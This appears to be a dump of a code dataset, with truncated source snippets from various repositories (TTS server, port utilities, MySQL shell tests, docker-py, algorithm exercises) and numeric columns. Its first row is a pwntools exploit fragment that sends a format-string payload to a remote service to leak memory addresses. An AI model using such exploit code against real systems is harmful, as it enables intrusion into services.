#!/usr/bin/python3 from pwn import * import sys #p = process('./fiap') p = remote('172.16.31.10',43174) binary = ELF('./fiap') p.recvuntil('What\'s your name?') p.sendline('%11$p,%3$p') p.recvuntil('Thank you, ') _ = p.recvline().strip().strip(b'!') # 0x5655628f → <say_hi+13> add ebx, 0x2d71 baseproc = int(_.spl...
0
0
0
0
0
0
ttskit/http_server.py
Jesse3692/ttskit
151
1757956
# -*- coding:utf-8 -*- # @project: GPT2-NewsTitle # @filename: http_server.py # @author: 刘聪NLP # @contact: <EMAIL> # @time: 2020/12/19 20:49 from __future__ import annotations """ ### http_server 语音合成简易界面。 构建简单的语音合成网页服务。 + 简单使用 ```python from ttskit import http_server http_server.start_sever() # 打开网页:http://localhost...
0
5
0
0
5
0
distrib/kotlin_kernel/port_generator.py
xjc90s/kotlin-jupyter
195
1757994
import socket DEFAULT_DEBUG_PORT = 1044 def get_port_not_in_use(first_port) -> int: port_range = range(first_port, 9999) for port in port_range: if not is_port_in_use(port): return port raise RuntimeError("No port available in range {}".format(port_range)) def is_port_in_use(port: ...
1
2
0
0
3
0
unittest/scripts/auto/py_shell/scripts/util_dump_instance_corners_norecord.py
mysql/mysql-shell
119
1758034
# imports import json import os import os.path import re import shutil import stat import urllib.parse #@<> INCLUDE dump_utils.inc #@<> deploy sandbox testutil.deploy_raw_sandbox(__mysql_sandbox_port1, "root") shell.connect(__sandbox_uri1) dumpdir = os.path.join(__tmp_dir, "dumptests") shutil.rmtree(dumpdir, True) ...
0
0
0
0
0
0
docker/utils/build.py
kennylajara/docker-py
5,611
1758035
<filename>docker/utils/build.py import io import os import re import tarfile import tempfile from .fnmatch import fnmatch from ..constants import IS_WINDOWS_PLATFORM _SEP = re.compile('/|\\\\') if IS_WINDOWS_PLATFORM else re.compile('/') def tar(path, exclude=None, dockerfile=None, fileobj=None, gzip=False): r...
0
0
0
0
0
0
micropsi_core/nodenet/dict_engine/dict_netentity.py
joschabach/micropsi2
119
1758039
# -*- coding: utf-8 -*- from __future__ import annotations """ Netentity definition """ import micropsi_core.tools __author__ = 'joscha' __date__ = '09.05.12' class NetEntity(object): """The basic building blocks of node nets. Attributes: uid: the unique identifier of the net entity index:...
4
5
0
6
15
0
Hard/underscorify-substring.py
SaumyaRai2010/algoexpert-data-structures-algorithms
152
1758045
# UNDERSCORIFY SUBSTRING # O(NM) time and O(N) space def underscorifySubstring(string, substring): # Write your code here. i = 0 insideSubstring = False potentialEnd = -1 while i < len(string): matchFound = compareSubstring(string, i, substring) if not matchFound and i == potentialEnd: string = stri...
0
0
0
0
0
0
vispy/gloo/tests/test_globject.py
3DAlgoLab/vispy
2,617
1758090
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Copyright (c) 2014, <NAME>. All rights reserved. # Distributed under the terms of the new BSD License. # ----------------------------------------------------------------------------- from vispy.testing import run_...
0
0
0
0
0
0
koku/cost_models/views.py
rubik-ai/koku
157
1758093
# # Copyright 2021 Red Hat Inc. # SPDX-License-Identifier: Apache-2.0 # """API views for import organization""" # flake8: noqa from cost_models.view import CostModelViewSet
0
0
0
0
0
0
lib/python/treadmill/tests/rrdutils_test.py
vrautela/treadmill
133
1758094
"""Unit test for Treadmill rrdutils module. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import os import shutil import tempfile import unittest import mock # Disable W0611: Unused import import treadmill.tes...
0
0
0
0
0
0
src/sage/categories/examples/coxeter_groups.py
UCD4IDS/sage
1,742
1758145
""" Examples of Coxeter groups """ # temporary until someone implements an appropriate example from . import finite_weyl_groups Example = finite_weyl_groups.Example
0
0
0
0
0
0
29. Codeforces Problems/791A.py
Ujjawalgupta42/Hacktoberfest2021-DSA
225
1758149
# https://codeforces.com/problemset/problem/791/A # 791A - Bear and Big Brother sizes = [int(size) for size in input().split()] i = 0 while sizes[0] <= sizes[1]: sizes[0] *= 3 sizes[1] *= 2 i += 1 print(i)
0
0
0
0
0
0
examples/testdll/test.py
burner/pyd
168
1758153
import os.path, sys import platform import distutils.util # Append the directory in which the binaries were placed to Python's sys.path, # then import the D DLL. libDir = os.path.join('build', 'lib.%s-%s' % ( distutils.util.get_platform(), '.'.join(str(v) for v in sys.version_info[:2]) )) sys.path.append(os....
0
0
0
0
0
0
tools/memory/partition_allocator/compute_external_fragmentation.py
chromium/chromium
14,668
1758157
<filename>tools/memory/partition_allocator/compute_external_fragmentation.py #!/usr/bin/env python3 # Copyright 2021 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Parses allocation profiles from a trace and computes th...
0
0
0
0
0
0
tests/agents_tests/test_pal.py
ummavi/pfrl-1
824
1758164
<reponame>ummavi/pfrl-1 import basetest_dqn_like as base from basetest_training import _TestBatchTrainingMixin from pfrl.agents.pal import PAL class TestPALOnDiscreteABC(_TestBatchTrainingMixin, base._TestDQNOnDiscreteABC): def make_dqn_agent(self, env, q_func, opt, explorer, rbuf, gpu): return PAL( ...
0
0
0
0
0
0
plugins/analytics/public/threatcrowd.py
yeti-threatintel/yeti
1,250
1758175
<gh_stars>1000+ import datetime import json import logging import requests from core.analytics import OneShotAnalytics from core.errors import ObservableValidationError from core.observables import Hostname, Email, Ip, Hash class ThreatCrowdAPI(object): """Base class for querying the ThreatCrowd API.""" @s...
0
0
0
0
0
0
unitypack/enums.py
isombyt/UnityPack
633
1758215
from enum import IntEnum class CompressionType(IntEnum): NONE: int = 0 LZMA: int = 1 LZ4: int = 2 LZ4HC: int = 3 LZHAM: int = 4 class NodeFlags(IntEnum): Default: int = 0 Directory: int = 1 Deleted: int = 2 SerializedFile: int = 3 class RuntimePlatform(IntEnum): OSXEditor: int = 0 OSXPlayer: int = 1 W...
0
0
40
0
40
0